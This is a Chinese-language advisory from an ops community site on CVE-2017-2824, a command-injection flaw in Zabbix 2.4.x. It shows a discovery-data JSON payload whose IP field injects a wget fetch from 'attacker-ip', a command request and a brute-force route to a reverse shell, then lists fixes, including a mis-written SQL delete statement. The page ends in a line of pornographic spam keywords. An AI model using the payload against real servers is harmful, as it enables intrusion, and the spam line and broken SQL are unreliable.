1. <em id="vzzs9"></em>
      <tbody id="vzzs9"></tbody>

    2. <span id="vzzs9"></span>
      <progress id="vzzs9"></progress>
      首頁 運維資訊Zabbix爆遠程代碼執行漏洞、數據庫寫入高危漏洞(CVE-2017-2824)

      Zabbix爆遠程代碼執行漏洞、數據庫寫入高危漏洞(CVE-2017-2824)

      運維派隸屬馬哥教育旗下專業運維社區,是國內成立最早的IT運維技術社區,歡迎關注公眾號:yunweipai
      領取學習更多免費Linux云計算、Python、Docker、K8s教程關注公眾號:馬哥linux運維

      Zabbix

      題圖:By James Padolsey From Unsplash

      關于Zabbix

      zabbix是一個基于WEB界面的提供分布式系統監視以及網絡監視功能的企業級的開源解決方案。

      zabbix能監視各種網絡參數,保證服務器系統的安全運營;并提供靈活的通知機制以讓系統管理員快速定位/解決存在的各種問題。

      漏洞詳情

      CVE-2017-2824:Zabbix Server Active Proxy Trapper 遠程代碼執行漏洞

      Zabbix 2.4.x中的trapper command功能存在一處代碼執行漏洞,特定的數據包可造成命令注入,進而遠程執行代碼,攻擊者可以從一個Zabbix proxy發起請求從而促發漏洞。

      影響版本

      Zabbix 2.4.7 – 2.4.8r1

      漏洞描述

      該漏洞位于Zabbix中“Trapper”代碼部分,它的主要功能是允許Proxy和Server進行通信的網絡服務(TCP端口10051)Zabbix Server提供了一組針對Zabbix Proxy的API調用,兩個將討論的是“discovery data”和“request command”。這些請求的示例數據如下所示:

      '{"request":"command","scriptid":1,"hostid":10001}'
      '{"request":"discovery data","host":"zabbix-proxy.com","clock":10,
      "data":[{"clock":10,"drule":1,"dcheck2,"type":0,"ip:10.0.0.1, "dns":"zabbix-agent.com", ? ?port":10050,"key":"test","status":0,"value":"test_value"}]}

      應該注意的是,request命令調用位于Zabbix數據庫中的腳本,而不進行任何身份驗證。該漏洞的另一個關鍵方面是,默認情況下,Zabbix 2.4.X使用腳本以下表中的3個腳本填充MySQL數據庫:

      問題在于,在調用腳本時,{HOST.CONN}字段實際上被host的IP地址替換。替換{HOST.CONN}的值位于Zabbixinterface表中,然后保存成VARCHAR(64)類型的“IP”字段。因此,如果攻擊者可以使用命令注入創建接口作為IP地址,并且通過“命令”請求的方式運行{HOST.CONN}腳本,則將發生命令注入,并且可以獲得反向shell。

      這個難題在于有效地將值插入到Zabbixhost表。默認情況下,未經身份驗證的攻擊者無法做到這一點,它需要系統管理員的一個次要配置,特別是關于Zabbix自動發現功能。

      Zabbix自動發現和自動注冊功能允許根據Zabbix Proxy提供的Zabbix Server數據進行Zabbix Server的配置。更具體地說,如果主機根據服務器的配置向Zabbix Proxy提供某些特性,則可能會采取某些操作,其中一個會使新發現的主機被添加到某些Zabbix數據庫表中。在這種情況下,主機將被插入到“host”表中,并且將創建一個入口到Zabbixinterface表中,主機提供的IP地址插入到IP列中,而不會對該IP地址的任何驗證。

      因此,通過使用合適的主機向服務器發送一個發現數據請求,可以將命令注入插入到數據庫中:

      write_script_cmd='{
      "request":"discoverydata",
      "host":"zabbix-proxy.domain.fake",
      "clock":148535399,
      "data":[{
      "clock":1485353070,
      "drule":88,
      "dcheck":174,
      "type":0,
      "ip":";wget -O/tmp/shttp://attacker-ip/s;#",
      "dns":"host28.domain.fake",
      "port":10050,
      "key":"sectest",
      "status":0,
      "value":"lnx<(^_^)>host"
      }]}'

      由于ZabbixInterface表的ip字段的大小限制,第二個主機被插入到另一個IP地址的表中。

      run_cmd = '{
      "request":"command",
      "scriptid":1,
      "hostid":14666
      }'

      在這兩個主機被添加之后,仍然有一個問題,即不知道該hostid的command請求,但是這很容易解決了。暴力請求入數據庫,因為不同的命令請求會返回不同的響應,確定主機是否存在,一旦存在的主機被確定,就可以直接調用它們,并且可以獲得反向的shell。

      修復方案

      1.官網修復版本發布后及時升級,目前官方反饋會在以下版本修復:2.0.21rc1, 2.2.18rc1, 3.0.9rc1, 3.2.5rc1, 3.4.0alpha1 (trunk)

      2.緩解措施:刪除Zabbix數據庫中的默認腳本條目

      • 直接操作數據庫刪除SQL為:
      use zabbix;
      delete * from scripts;
      • 使用圖形界面刪除(Administration->Scripts->Checkmarks->Delete Selected)。

      參考文檔

      http://www.google.com
      https://www.easyaq.com/news/1119226034.shtml
      http://blog.ucloud.cn/archives/2075

      文章來自微信公眾號:運維之美

      本文鏈接:http://www.abandonstatusquo.com/15309.html

      網友評論comments

      發表評論

      您的電子郵箱地址不會被公開。

      暫無評論

      Copyright ? 2012-2022 YUNWEIPAI.COM - 運維派 京ICP備16064699號-6
      掃二維碼
      掃二維碼
      返回頂部
      久久久久亚洲国内精品|亚洲一区二区在线观看综合无码|欧洲一区无码精品色|97伊人久久超碰|一级a爱片国产亚洲精品